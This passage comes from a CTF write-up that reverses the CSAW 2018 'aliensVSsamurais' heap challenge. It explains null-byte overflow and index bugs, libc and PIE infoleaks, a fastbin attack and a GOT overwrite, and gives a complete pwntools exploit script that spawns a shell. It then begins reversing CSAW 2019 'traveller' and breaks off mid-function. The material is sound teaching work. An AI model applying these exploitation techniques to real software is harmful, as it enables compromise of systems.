        alien_index = alien_index + 1;
        *(void ***)(aliens + index) = alienPtr;
      }
    }
    else {
      puts("WHOOOOOOOOOAAAAA");
    }
  }
  else {
    puts("Our mothership is too full!\n We require more overlords.");
  }
  if (canaryValue != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
```

So we can see how the aliens are made. We can specify the size and content for the name of the alien, but it has to be greater than or equal to `8`. We can see that our aliens are kept in the bss array `aliens` stored at offset `0x3020c0`. We can also see that it keeps track of how many aliens there are with the bss variable `alien_index` at offset `0x3020b0`. We see that the limit on the amount of aliens we can make is `200`. Also before malloc is called, it checks to see if the malloc hook has changed. Since `malloc` is only ever called here and in the samurai menu, unless if we can change the value of `saved_malloc_hook`, attacking the malloc hook isn't feasible. Also we can see the structure of an alien:

```
0x0:    ptr to alien name (chunks size and content we control)
0x8:    0x100 (for how we do things, doesn't really matter too much)
```

Also we can see that there is a null byte overflow bug with how it does it's null termination:

```
        bytesRead = read(0,*alienPtr,nameSize);
        *(undefined *)((long)(int)bytesRead + (long)*alienPtr) = 0;
```

Next up we have:

```
void consume_alien(void)

{
  ulong index;
  long in_FS_OFFSET;
  char indexInput [24];
  long canary;

  canary = *(long *)(in_FS_OFFSET + 0x28);
  puts("Which alien is unsatisfactory, brood mother?");
  fgets(indexInput,0x18,stdin);
  index = strtoul(indexInput,(char **)0x0,0);
  if (alien_index < index) {
    puts("That alien is too far away >(");
  }
  else {
    if (__free_hook == saved_free_hook) {
      kill_alien(index);
    }
    else {
      puts("Whooooaaaaaaaa");
    }
  }
  if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
```

So it checks to see if `index` is less than the index we provide as a validation (however this check isn't enough by itself). If we pass the check (and if the hook for free has not been changed) it will run `kill_alien`:

```
void kill_alien(long alien)

{
  puts("EEEEEAAAAUGGHGGHGHGAAAAa");
  free(**(void ***)(aliens + alien * 8));
  free(*(void **)(aliens + alien * 8));
  *(undefined8 *)(aliens + alien * 8) = 0;
  return;
}
```

So we can see it frees both pointers associated with the alien, and zeroes out the pointer in the aliens array. Finally we have `rename_alien`:

```
void rename_alien(void)

{
  long lVar1;
  ulong index;
  ssize_t bytesRead;
  long in_FS_OFFSET;
  char indexInput [24];

  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  puts("Brood mother, which one of my babies would you like to rename?");
  fgets(indexInput,0x18,stdin);
  index = strtoul(indexInput,(char **)0x0,0);
  printf("Oh great what would you like to rename %s to?\n",**(undefined8
**)(aliens + index * 8));
  bytesRead = read(0,**(void ***)(aliens + index * 8),8);
  *(undefined *)(bytesRead + **(long **)(aliens + index * 8)) = 0;
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
```

So we can see that it prompts us for an index to `aliens`, then prints the contents of it using `printf` with the `%s` flag. After that it allows us to scan in `0x8` bytes with `read`. After that it has the same null byte overflow bug that `new_alien` had. However we can see that it doesn't check the index that we pass, so we have an index bug too.

For `invasion` we can see that it checks the aliens / samurai that you have, and depending on the outcome, it will either run `win` or `loose`. For my exploit, I didn't really hit this code path so none of it is really relevant:

```
void invasion(void)

{
  ulong i;

  if (alien_index == 0) {
    lose();
  }
  i = 0;
  while (i < alien_index) {
    if (*(long *)(aliens + i * 8) != 0) {
      if (*(long *)(samurais + i * 8) == 0) {
        printf("No %d fighters? no problem\n",i);
        lose();
      }
      if (*(ulong *)(*(long *)(aliens + i * 8) + 8) < *(ulong *)(*(long
*)(samurais + i * 8) + 8)) {
        win();
      }
    }
    i = i + 1;
  }
  lose();
  return;
}
```

Exploitation

So we have two null byte overflows, and an index bug. The plan is to leverage these bugs to first get a libc and pie infoleak. Proceeding that we will use a fastbin attack to allocate a chunk a little before the `aliens` array. After that we will use the index bug to do a got overwrite over `puts` with a oneshot gadget.

However before that, things that affected this exploit. First off there was one malloc check that caused some issues with the fast bin attack:

```
      if (victim != 0)
        {
          if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
            {
              errstr = "malloc(): memory corruption (fast)";
            errout:
              malloc_printerr (check_action, errstr, chunk2mem (victim), av);
              return NULL;
            }
          check_remalloced_chunk (av, victim, nb);
          void *p = chunk2mem (victim);
          alloc_perturb (p, bytes);
          return p;
        }
    }
```

The `malloc(): memory corruption (fast)` check requires the size of our fast bin chunk to correspond with the `idx` it is being allocated from. So if it is in idx `6`, the sizes have to fit into the range for that `idx`. One strategy to pass this check is to position your fake fast bin chunk in such a way that it reads the top byte of a previous value as the size. For instance let's say we wanted to allocate a chunk at `0x55c8a58620a0`

```
gef➤  x/4g 0x55c8a5862088
0x55c8a5862088: 0x0 0x7fb43c93b8e0
0x55c8a5862098: 0x0 0x0
```

We would try to allocate a chunk at `0x55c8a586209d`, that way we get alignment for our size to be `0x7f`:

```
gef➤  x/4g 0x55c8a586208d
0x55c8a586208d: 0xb43c93b8e0000000  0x7f
0x55c8a586209d: 0x0 0x0
```

Which would correspond to a valid size for this check for this idx it is in (`5`):

```
gef➤  heap bins
[+] No Tcache in this version of libc
────────────────────── Fastbins for arena 0x7fb43c93bb20 ──────────────────────
Fastbins[idx=0, size=0x10]  ←  Chunk(addr=0x55c8a6845770, size=0x20,
flags=PREV_INUSE)
Fastbins[idx=1, size=0x20]  ←  Chunk(addr=0x55c8a6845540, size=0x30,
flags=PREV_INUSE)  ←  Chunk(addr=0x55c8a68454f0, size=0x30, flags=PREV_INUSE)  ←
Chunk(addr=0x55c8a68454a0, size=0x30, flags=PREV_INUSE)  ←
Chunk(addr=0x55c8a6845450, size=0x30, flags=PREV_INUSE)
Fastbins[idx=2, size=0x30] 0x00
Fastbins[idx=3, size=0x40] 0x00
Fastbins[idx=4, size=0x50] 0x00
Fastbins[idx=5, size=0x60]  ←  Chunk(addr=0x55c8a586209d, size=0x78,
flags=PREV_INUSE|IS_MMAPPED|NON_MAIN_ARENA)
Fastbins[idx=6, size=0x70] 0x00
─────────────────── Unsorted Bin for arena '*0x7fb43c93bb20' ───────────────────
[+] Found 0 chunks in unsorted bin.
──────────────────── Small Bins for arena '*0x7fb43c93bb20' ────────────────────
[+] small_bins[4]: fw=0x55c8a6845780, bk=0x55c8a6845780
 →   Chunk(addr=0x55c8a6845790, size=0x50, flags=PREV_INUSE)
[+] Found 1 chunks in 1 small non-empty bins.
──────────────────── Large Bins for arena '*0x7fb43c93bb20' ────────────────────
```

Also note, doing it this way would greatly limit where we can allocate a fake chunk. I know I tried to allocate a fake chunk to the free hook, since there is a free later on where it doesn't check the hook. There I could set up a chunk with a size value of `0x7f`, however `fgets` would change the size value prior to the malloc call, so that wasn't feasible.

Also after I found out why I couldn't do a fast bin attack against the free hook, I decided not to attack any of the hooks (`malloc/free/memalign/realloc`). In order to bypass the hook checks, we would have to do a write against PIE (with an infoleak) in addition to a libc write and infoleak, and at that point it would be simpler to do a got overwrite (since there is no PIE).

And one last thing, all of the infoleaks for my exploit came from the `printf` call in `rename_alien` (which expects a ptr to a ptr). Since it uses a `%s` flag, and all of our content for either new or renamed aliens is null terminated, we can't overflow content until we reach an address to get an infoleak.

Libc / PIE Infoleaks

For the libc infoleak, due to the version of libc it is we can leak arena pointers in the typical way via heap consolidation so the heap things it begins at the start of an allocated chunk. However before we start doing that, we need to deal with an alignment issue. This is because whenever we make a new alien, the code will allocate an `0x10` size chunk. To deal with this so we can align the chunks we want for the attack, I just allocated and freed four aliens was a chunk size of `0x20` (because the rounded up malloc size of a `0x10` chunk is `0x20`). After that I didn't have any alignment issues:

```
0x20: 0
0x20: 1
0x20: 2
0x20: 3
```

We start off the libc infoleak with these chunks:

```
0xf0: 4
0x60: 5
0xf0: 6
0x10: 7
```

then we free chunks `4` and `5` :

```
0xf0: 4 (freed)
0x60: 5 (freed)
0xf0: 6
0x10: 7
```

Then we allocate an `0x68` byte chunk, which will go where the old chunk `5` used to. We will overflow the size for chunk `6` with a null byte, which will set the previous in use bit to zero, so malloc thinks the previous chunk ahs been freed (which it hasn't). We will also set the previous size equal to `0x170` so it thinks the previous chunk started where the old chunk `4` was:

```
0xf0: 4 (freed)
0x68: 8
0xf0: 6 previous size 0x170, previous in use bit set to 0x0
0x10: 7
```

After that we will free chunk `6` , which will cause it to consolidate with the old chunk `4` (adding it to the unsorted bin), essentially causing the heap to forget about chunk `8` :

```
0xf0: 4 (freed, and heap consolidated here, start of unsorted bin)
0x68: 8 (forgotten about)
0xf0: 6 (freed)
0x10: 7
```

Now we will allocate an `0xf0` size chunk, which will come from the unsorted bin. This will move the beginning unsorted bin up to overlap with chunk `8` . Since the beginning of the unsorted bin has a libc arena pointer, we can just edit the alien at the address, and we will get a libc infoleak. Also whenever I got an infoleak, I just wrote over the value with itself, so I didn't actually change anything.

```
0xf0: 9
0x68: 8 (forgotten about, start of unsorted bin)
0xf0: 6 (freed)
0x10: 7
```

As for the pie infoleak, when we look at the memory around `aliens` and the got table, we see something interesting:

```
gef➤  telescope 0x56545ff99ff0 40
0x000056545ff99ff0│+0x0000: 0x0000000000000000
0x000056545ff99ff8│+0x0008: 0x00007f36fc8cc2d0  →  <__cxa_finalize+0> push r15
0x000056545ff9a000│+0x0010: 0x0000000000201df8
0x000056545ff9a008│+0x0018: 0x00007f36fce83168  →  0x000056545fd98000  →   jg
0x56545fd98047
0x000056545ff9a010│+0x0020: 0x00007f36fcc73ee0  →
<_dl_runtime_resolve_xsavec+0> push rbx
0x000056545ff9a018│+0x0028: 0x00007f36fc9164f0  →  <free+0> push r13
0x000056545ff9a020│+0x0030: 0x00007f36fc901690  →  <puts+0> push r12
0x000056545ff9a028│+0x0038: 0x000056545fd988c6  →   push 0x2
0x000056545ff9a030│+0x0040: 0x00007f36fc8e7800  →  <printf+0> sub rsp, 0xd8
0x000056545ff9a038│+0x0048: 0x00007f36fc989250  →  <read+0> cmp DWORD PTR
[rip+0x2d24e9], 0x0        # 0x7f36fcc5b740
0x000056545ff9a040│+0x0050: 0x00007f36fc8b2740  →  <__libc_start_main+0> push
r14
0x000056545ff9a048│+0x0058: 0x00007f36fc8ffad0  →  <fgets+0> test esi, esi
0x000056545ff9a050│+0x0060: 0x00007f36fc916130  →  <malloc+0> push rbp
0x000056545ff9a058│+0x0068: 0x00007f36fc8cd3f0  →  <strtouq+0> mov rax, QWORD
PTR [rip+0x3889e1]        # 0x7f36fcc55dd8
0x000056545ff9a060│+0x0070: 0x000056545fd98936  →  0xff50e90000000968 ("h"?)
0x000056545ff9a068│+0x0078: 0x0000000000000000
0x000056545ff9a070│+0x0080: 0x000056545ff9a070  →  [loop detected]
0x000056545ff9a078│+0x0088: 0x0000000000000000
0x000056545ff9a080│+0x0090: 0x0000000000000000
0x000056545ff9a088│+0x0098: 0x0000000000000000
0x000056545ff9a090│+0x00a0: 0x00007f36fcc568e0  →  0x00000000fbad2088
0x000056545ff9a098│+0x00a8: 0x0000000000000000
0x000056545ff9a0a0│+0x00b0: 0x0000000000000000
0x000056545ff9a0a8│+0x00b8: 0x0000000000000000
0x000056545ff9a0b0│+0x00c0: 0x000000000000000a
0x000056545ff9a0b8│+0x00c8: 0x0000000000000000
0x000056545ff9a0c0│+0x00d0: 0x0000000000000000
0x000056545ff9a0c8│+0x00d8: 0x0000000000000000
0x000056545ff9a0d0│+0x00e0: 0x0000000000000000
0x000056545ff9a0d8│+0x00e8: 0x0000000000000000
0x000056545ff9a0e0│+0x00f0: 0x0000000000000000
0x000056545ff9a0e8│+0x00f8: 0x0000000000000000
0x000056545ff9a0f0│+0x0100: 0x0000000000000000
0x000056545ff9a0f8│+0x0108: 0x0000565461bab430  →  0x0000565461bab7e0  →
"33333333"
0x000056545ff9a100│+0x0110: 0x0000565461bab4d0  →  0x0000565461bab670  →
0x00007f36fcc56b78  →  0x0000565461bab7f0  →  0x0000000000000000
0x000056545ff9a108│+0x0118: 0x0000565461bab480  →  0x0000565461bab570  →
"44444444"
0x000056545ff9a110│+0x0120: 0x0000000000000000
0x000056545ff9a118│+0x0128: 0x0000000000000000
0x000056545ff9a120│+0x0130: 0x0000000000000000
0x000056545ff9a128│+0x0138: 0x0000000000000000
```

We can see at `0x000056545ff9a070` , is a ptr that points to itself. So it is an infinite ptr. Thing is, with our infoleak, we need a ptr, to a ptr, to whatever thing we want to leak. This right here is really useful, since no matter how many times you dereference it, it will still give you a PIE address. So we can leak this to break PIE. Also the purpose of this infinite pointer is to point to the got table, which is used in `dl_resolve`.

With that, we have our PIE/libc infoleaks.

Fast Bin Attack

So the libc infoleak left us off at a pretty good spot for the fast bin attack, since the unsorted bin overlaps with an allocated chunk. With how we have groomed the heap, we can just allocate an `0x60` byte chunk, which will come from the unsorted bin and overlap directly with our chunk `8`:

```
0xf0:       9
0x68/0x60:  8 & 10 (2 overlapping chunks)
0xf0:       6 (freed)
0x10:       7
```

Now we can free chunk `10`, which will insert it into the fast bin. Then leveraging chunk `8` and `rename_alien`, we can overwrite the next pointer of that chunk in the fast bin.

Before the write:

```
gef➤  heap bins
[+] No Tcache in this version of libc
────────────────────── Fastbins for arena 0x7fbdc9a1ab20 ──────────────────────
Fastbins[idx=0, size=0x10]  ←  Chunk(addr=0x5560138db520, size=0x20,
flags=PREV_INUSE)
Fastbins[idx=1, size=0x20]  ←  Chunk(addr=0x5560138db540, size=0x30,
flags=PREV_INUSE)  ←  Chunk(addr=0x5560138db4f0, size=0x30, flags=PREV_INUSE)  ←
Chunk(addr=0x5560138db4a0, size=0x30, flags=PREV_INUSE)  ←
Chunk(addr=0x5560138db450, size=0x30, flags=PREV_INUSE)
Fastbins[idx=2, size=0x30] 0x00
Fastbins[idx=3, size=0x40] 0x00
Fastbins[idx=4, size=0x50] 0x00
Fastbins[idx=5, size=0x60]  ←  Chunk(addr=0x5560138db670, size=0x70,
flags=PREV_INUSE)
Fastbins[idx=6, size=0x70] 0x00
─────────────────── Unsorted Bin for arena '*0x7fbdc9a1ab20' ───────────────────
[+] unsorted_bins[0]: fw=0x5560138db6d0, bk=0x5560138db6d0
 →   Chunk(addr=0x5560138db6e0, size=0x100, flags=PREV_INUSE)
[+] Found 1 chunks in unsorted bin.
──────────────────── Small Bins for arena '*0x7fbdc9a1ab20' ────────────────────
[+] Found 0 chunks in 0 small non-empty bins.
──────────────────── Large Bins for arena '*0x7fbdc9a1ab20' ────────────────────
[+] Found 0 chunks in 0 large non-empty bins.
```

After the write:

```
gef➤  heap bins
[+] No Tcache in this version of libc
──────────────────── Fastbins for arena 0x7fbdc9a1ab20 ────────────────────
Fastbins[idx=0, size=0x10]  ←  Chunk(addr=0x5560138db520, size=0x20,
flags=PREV_INUSE)
Fastbins[idx=1, size=0x20]  ←  Chunk(addr=0x5560138db540, size=0x30,
flags=PREV_INUSE)  ←  Chunk(addr=0x5560138db4f0, size=0x30, flags=PREV_INUSE)  ←
Chunk(addr=0x5560138db4a0, size=0x30, flags=PREV_INUSE)  ←
Chunk(addr=0x5560138db450, size=0x30, flags=PREV_INUSE)
Fastbins[idx=2, size=0x30] 0x00
Fastbins[idx=3, size=0x40] 0x00
Fastbins[idx=4, size=0x50] 0x00
Fastbins[idx=5, size=0x60]  ←  Chunk(addr=0x5560138db670, size=0x70,
flags=PREV_INUSE)  ←  Chunk(addr=0x5560129ef09d, size=0x78,
flags=PREV_INUSE|IS_MMAPPED|NON_MAIN_ARENA)
Fastbins[idx=6, size=0x70] 0x00
────────────────── Unsorted Bin for arena '*0x7fbdc9a1ab20' ──────────────────
[+] unsorted_bins[0]: fw=0x5560138db6d0, bk=0x5560138db6d0
 →   Chunk(addr=0x5560138db6e0, size=0x100, flags=PREV_INUSE)
[+] Found 1 chunks in unsorted bin.
─────────────────── Small Bins for arena '*0x7fbdc9a1ab20' ───────────────────
[+] Found 0 chunks in 0 small non-empty bins.
─────────────────── Large Bins for arena '*0x7fbdc9a1ab20' ───────────────────
[+] Found 0 chunks in 0 large non-empty bins.
```

Now let's take a close look at where I decided to make this fake chunk:

```
gef➤  x/20g 0x5560129ef088
0x5560129ef088: 0x0 0x7fbdc9a1a8e0
0x5560129ef098: 0x0 0x0
0x5560129ef0a8: 0x0 0xb
0x5560129ef0b8: 0x0 0x0
0x5560129ef0c8: 0x0 0x0
0x5560129ef0d8: 0x0 0x0
0x5560129ef0e8: 0x0 0x0
0x5560129ef0f8: 0x5560138db430  0x5560138db4d0
0x5560129ef108: 0x5560138db480  0x0
0x5560129ef118: 0x0 0x0
gef➤  x/20g 0x5560129ef08d
0x5560129ef08d: 0xbdc9a1a8e0000000  0x7f
0x5560129ef09d: 0x0 0x0
0x5560129ef0ad: 0xb000000 0x0
0x5560129ef0bd: 0x0 0x0
0x5560129ef0cd: 0x0 0x0
0x5560129ef0dd: 0x0 0x0
0x5560129ef0ed: 0x0 0x60138db430000000
0x5560129ef0fd: 0x60138db4d0000055  0x60138db480000055
0x5560129ef10d: 0x55  0x0
0x5560129ef11d: 0x0 0x0
```

We can see that our fake chunk will be near the start of aliens, and then with our alignment the size will be `0x7f` so it will pass that malloc check. We see that our fake chunk is near the start of `aliens`. We will write two pointers to our fake chunk (let's go with ptrs `x` and `y`). Ptr `x` will just point to ptr `y`, and ptr `y` will point to the got address for `puts`. That way we can just pass an index to `rename_alien` that will make it rename ptr `x` as if it were an alien, and that will give us a got table overwrite. Also I choose `puts` since it is the next function called after the got write.

Here we can see the memory corruption play out. I needed to restart the exploit, and because of aslr, the addresses changed:

```
gef➤  x/20g 0x563912451088
0x563912451088: 0x0 0x7fc5ac1ba8e0
0x563912451098: 0x0 0x0
0x5639124510a8: 0x0 0xc
0x5639124510b8: 0x0 0x0
0x5639124510c8: 0x0 0x0
0x5639124510d8: 0x0 0x0
0x5639124510e8: 0x0 0x0
0x5639124510f8: 0x563913eee430  0x563913eee4d0
0x563912451108: 0x563913eee480  0x0
0x563912451118: 0x563913eee520  0x0
```

Then we allocate our fake fast bin chunk and write the pointers:

```
gef➤  x/20g 0x563912451088
0x563912451088: 0x0 0x7fc5ac1ba8e0
0x563912451098: 0x3935310000000000  0x5639124510a8
0x5639124510a8: 0x563912451020  0xd
0x5639124510b8: 0x0 0x0
0x5639124510c8: 0x0 0x0
0x5639124510d8: 0x0 0x0
0x5639124510e8: 0x0 0x0
0x5639124510f8: 0x563913eee430  0x563913eee4d0
0x563912451108: 0x563913eee480  0x0
0x563912451118: 0x563913eee520  0x563913eee6e0
gef➤  x/g 0x563912451020
0x563912451020: 0x00007fc5abe65690
gef➤  x/i 0x00007fc5abe65690
   0x7fc5abe65690 <puts>: push   r12
```

Then we do our got overwrite, and we get a shell!

Exploit

Putting it all together, we get the following exploit:

```
from pwn import *

target = process("./aliensVSsamurais", env={"LD_PRELOAD":"./libc-2.23.so"})
#gdb.attach(target)

elf = ELF('aliensVSsamurais')
libc = ELF('libc-2.23.so')

def goToHatchery():
  target.sendline("3")

def makeAlien(size, content, newline=None):
  print target.recvuntil("Brood mother, what tasks do we have today.")
  target.sendline("1")
  print target.recvuntil("How long is my name?")
  target.sendline(str(size))
  print target.recvuntil("What is my name?")
  if newline == None:
    target.sendline(content)
  else:
    target.send(content)
def killAlien(index):
  print target.recvuntil("Brood mother, what tasks do we have today.")
  target.sendline("2")
  print target.recvuntil("Which alien is unsatisfactory, brood mother?")
  target.sendline(str(index))

def editAlien(index, content, leak = None):
  print target.recvuntil("Brood mother, what tasks do we have today.")
  target.sendline("3")
  print target.recvuntil("Brood mother, which one of my babies would you like to
rename?")
  target.sendline(str(index))
  print target.recvuntil("Oh great what would you like to rename ")

  if leak != None:
    leak = target.recvline()
    leak = leak.replace(" to?\n", "")
    leak = u64(leak + "\x00"*(8-len(leak)))
    print "leak is: " + hex(leak)
    target.send(p64(leak)[:6])
  else:
    target.sendline(content)

  return leak


goToHatchery()



# Get that free bin edit / libc infoleak
```

```
# First groom the heap for alignment
makeAlien(0x20, 'pineapple')# 0
makeAlien(0x20, 'pineapple')# 1
makeAlien(0x20, 'pineapple')# 2
makeAlien(0x20, 'pineapple')# 3

killAlien(0)
killAlien(1)
killAlien(2)
killAlien(3)

makeAlien(0xf0, "0"*8)# 4
makeAlien(0x60, "1"*8)# 5
makeAlien(0xf0, "2"*8)# 6
makeAlien(0x10, "3"*8)# 7

killAlien(4)
killAlien(5)

# This chunk is the one that will overlap with the unsorted bin
makeAlien(0x68, "4"*0x60 + p64(0x170))# 8

killAlien(6)

makeAlien(0xf0, '4'*8)# 9

# Leak libc
leak = editAlien(8, "0000000", 1)
libcBase = leak - 0x3c4b78
freeHook = libcBase + libc.symbols['__malloc_hook'] - 0x13



# Leak pie
x = editAlien(-10, "0", 1)
pieBase = x - 0x202070

fakeChunk = pieBase + 0x20208d

print "Pie Base: " + hex(pieBase)
print "Libc Base: " + hex(libcBase)
print "Fake Chun: " + hex(fakeChunk)



# This chunk overlaps with chunk 8
makeAlien(0x60, '5'*8)# 10

# Add chunk 10 to the fast bin
killAlien(10)

# Edit fastbin chunk, add our fake chunk to the fast bin
```

```
editAlien(8, p64(fakeChunk))

# Move our fake chunk up to the top of the fast bin
makeAlien(0x60, '8'*8)# 13

# Write the pointers for the got overwrite
makeAlien(0x60, '159' + p64(fakeChunk + 3 + 0x18) + p64(pieBase + 
elf.got['puts'])[:6], 1)# 14



# Execute the got overwrite
editAlien(-4, p64(libcBase + 0x45216))

# Enjoy your shell!
target.interactive()
```

When we run the exploit:

```
$ python exploit.py
[+] Starting local process './aliensVSsamurais': pid 18692
[*] '/Hackery/pod/modules/custom_misc_heap/csaw18_alienVSsamurai
/aliensVSsamurais'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/Hackery/pod/modules/custom_misc_heap/csaw18_alienVSsamurai/libc-2.23.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
Daimyo, nani o shitaidesu ka?
Brood mother, what tasks do we have today.

How long is my name?

What is my name?

Brood mother, what tasks do we have today.

How long is my name?

What is my name?

Brood mother, what tasks do we have today.

How long is my name?

What is my name?

Brood mother, what tasks do we have today.

How long is my name?

What is my name?

Brood mother, what tasks do we have today.

Which alien is unsatisfactory, brood mother?

EEEEEAAAAUGGHGGHGHGAAAAa
Brood mother, what tasks do we have today.

Which alien is unsatisfactory, brood mother?

EEEEEAAAAUGGHGGHGHGAAAAa
Brood mother, what tasks do we have today.
```

Which alien is unsatisfactory, brood mother?

EEEEEAAAAUGGHGGHGHGAAAAa
Brood mother, what tasks do we have today.

Which alien is unsatisfactory, brood mother?

EEEEEAAAAUGGHGGHGHGAAAAa
Brood mother, what tasks do we have today.

How long is my name?

What is my name?

Brood mother, what tasks do we have today.

How long is my name?

What is my name?

Brood mother, what tasks do we have today.

How long is my name?

What is my name?

Brood mother, what tasks do we have today.

How long is my name?

What is my name?

Brood mother, what tasks do we have today.

Which alien is unsatisfactory, brood mother?

EEEEEAAAAUGGHGGHGHGAAAAa
Brood mother, what tasks do we have today.

Which alien is unsatisfactory, brood mother?

EEEEEAAAAUGGHGGHGHGAAAAa
Brood mother, what tasks do we have today.

How long is my name?

What is my name?

Brood mother, what tasks do we have today.

Brood mother, what tasks do we have today.
Which alien is unsatisfactory, brood mother?

```
EEEEEAAAAUGGHGGHGHGAAAAa
Brood mother, what tasks do we have today.

How long is my name?

What is my name?

Brood mother, what tasks do we have today.

Brood mother, which one of my babies would you like to rename?

Oh great what would you like to rename
leak is: 0x7fb1d4fabb78
Brood mother, what tasks do we have today.

Brood mother, which one of my babies would you like to rename?

Oh great what would you like to rename
leak is: 0x560d211eb070
Pie Base: 0x560d20fe9000
Libc Base: 0x7fb1d4be7000
Fake Chun: 0x560d211eb08d
Brood mother, what tasks do we have today.

How long is my name?

What is my name?

Brood mother, what tasks do we have today.

Which alien is unsatisfactory, brood mother?

EEEEEAAAAUGGHGGHGHGAAAAa
Brood mother, what tasks do we have today.

Brood mother, which one of my babies would you like to rename?

Oh great what would you like to rename
 to?
Brood mother, what tasks do we have today.

Brood mother, what tasks do we have today.
How long is my name?

What is my name?

Brood mother, what tasks do we have today.

How long is my name?

What is my name?

Brood mother, what tasks do we have today.
```

```
Brood mother, which one of my babies would you like to rename?

Oh great what would you like to rename
[*] Switching to interactive mode
\x90f��\xb1\x7f to?
$ w
 20:04:44 up 16:22,  1 user,  load average: 0.06, 0.09, 0.09
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu tty7     :0               Sat12   31:21m  6:50   0.47s /sbin/upstart
--user
$ ls
aliensVSsamurais  core    exploit.py  libc-2.23.so  malloc.c  readme.md
```

Just like that, we popped a shell!

Csaw 2019 traveller

Let's take a look at the binary and libc:

```
$    file traveller
traveller: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically
linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32,
BuildID[sha1]=b551cbb805a21e18393c3816ffd28dfb11b1ff1e, with debug_info, not
stripped
$    pwn checksec traveller
[*] '/Hackery/pod/modules/33-custom_misc_heap/csaw19_traveller/traveller'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$    ./libc-2.23.so
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu11) stable release version 2.23, by
Roland McGrath et al.
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 5.4.0 20160609.
Available extensions:
    crypt add-on version 2.1 by Michael Glad and others
    GNU Libidn by Simon Josefsson
    Native POSIX Threads Library by Ulrich Drepper et al
    BIND-8.2.3-T5B
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
$    ./traveller

Hello! Welcome to trip management system.
0x7fffcb8d8a0c

Choose an option:

1. Add a trip
2. Change a trip
3. Delete a trip
4. Check a trip
>
```

So looking at this, we are dealing with a `64` bit binary with `NX`. We can see that we are dealing with `libc-2.23.so`. When we run the binary we get what looks like a stack infoleak, and we see a menu.

Reversing

When we take a look at the `main` function in Ghidra, we see this:

```
int main(int argc)

{
  uint input;
  int argcCpy;
  char choiceInput [4];
  uint choice_num;

  argcCpy = argc;
  puts("\nHello! Welcome to trip management system. ");
  printf("%p \n",&argcCpy);
  puts("\nChoose an option: ");
  do {
    while( true ) {
      while( true ) {
        puts("\n1. Add a trip ");
        puts("2. Change a trip ");
        puts("3. Delete a trip ");
        puts("4. Check a trip ");
        printf("> ");
        fflush(stdout);
        fgets(choiceInput,4,stdin);
        input = atoi(choiceInput);
        if (input != 2) break;
        change();
      }
      if (input < 3) break;
      if (input == 3) {
        delete();
      }
      else {
        if (input == 4) {
          check();
        }
      }
    }
    if (input == 1) {
      add();
    }
  } while( true );
}
```

So it is essentially just a menu, allowing us to `add`, `change`, `delete`, and `check` (also we get a stack infoleak):

```
void add(void)

{
  int iVar1;
  trip *ptr;
  ulong size;
  ulong uVar2;
  char *pcVar3;
  long lVar4;
  char choice [4];
  int choice_num;
  trip *newTrip;

  if (tIndex != 7) {
    puts("Adding new trips...");
    ptr = (trip *)malloc(0x10);
    puts("Choose a Distance: ");
    puts("1. 0x80 ");
    puts("2. 0x110 ");
    puts("3. 0x128 ");
    puts("4. 0x150 ");
    puts("5. 0x200 ");
    printf("> ");
    fgets(choice,4,stdin);
    iVar1 = atoi(choice);
    switch(iVar1) {
    default:
      puts("Can\'t you count?");
      return;
    case 1:
      size = strtoul("0x80",(char **)0x0,0);
      ptr->distance = size;
      pcVar3 = (char *)malloc(ptr->distance);
      ptr->destination = pcVar3;
      printf("Destination: ");
      fgets(ptr->destination,(int)ptr->distance,stdin);
      break;
    case 2:
      uVar2 = strtoul("0x110",(char **)0x0,0);
      ptr->distance = uVar2;
      pcVar3 = (char *)malloc(ptr->distance);
      ptr->destination = pcVar3;
      printf("Destination: ");
      fgets(ptr->destination,(int)ptr->distance,stdin);
      break;
    case 3:
      uVar2 = strtoul("0x128",(char **)0x0,0);
      ptr->distance = uVar2;
      pcVar3 = (char *)malloc(ptr->distance);
      ptr->destination = pcVar3;
      printf("Destination: ");
      fgets(ptr->destination,(int)ptr->distance,stdin);
```

```
      break;
    case 4:
      uVar2 = strtoul("0x150",(char **)0x0,0);
      ptr->distance = uVar2;
      pcVar3 = (char *)malloc(ptr->distance);
      ptr->destination = pcVar3;
      printf("Destination: ");
      fgets(ptr->destination,(int)ptr->distance,stdin);
      break;
    case 5:
      uVar2 = strtoul("0x200",(char **)0x0,0);
      ptr->distance = uVar2;
      pcVar3 = (char *)malloc(ptr->distance);
      ptr->destination = pcVar3;
      printf("Destination: ");
      fgets(ptr->destination,(int)ptr->distance,stdin);
    }
    printf("Trip %lu added.\n",(ulong)(uint)tIndex);
    lVar4 = (long)tIndex;
    tIndex = tIndex + 1;
    trips[lVar4] = ptr;
    return;
  }
  puts("Cannot add more trips.");
                    /* WARNING: Subroutine does not return */
  exit(0);
}
```

So for the `add` function, it prompts us for a chunk size of either `0x80/0x110/0x128/0x150/0x200`. However this isn't the only chunk that is malloced. There is a `0x10` chunk, which contains a ptr to the new chunk, and the size. This ptr is stored in the bss variable `trips`, with the count for the number of chunks being stored in `tIndex`. In addition to that, it allows us to scan in data into the chunk whose size we have some control over. We can see that the heap structure looks like this:

```
0x0:    ptr to trip chunk
0x8:    size of trip chunk

trip chunk
```

Next up we have `change`:

```
void change(void)

{
  ulong index;
  ssize_t bytesRead;
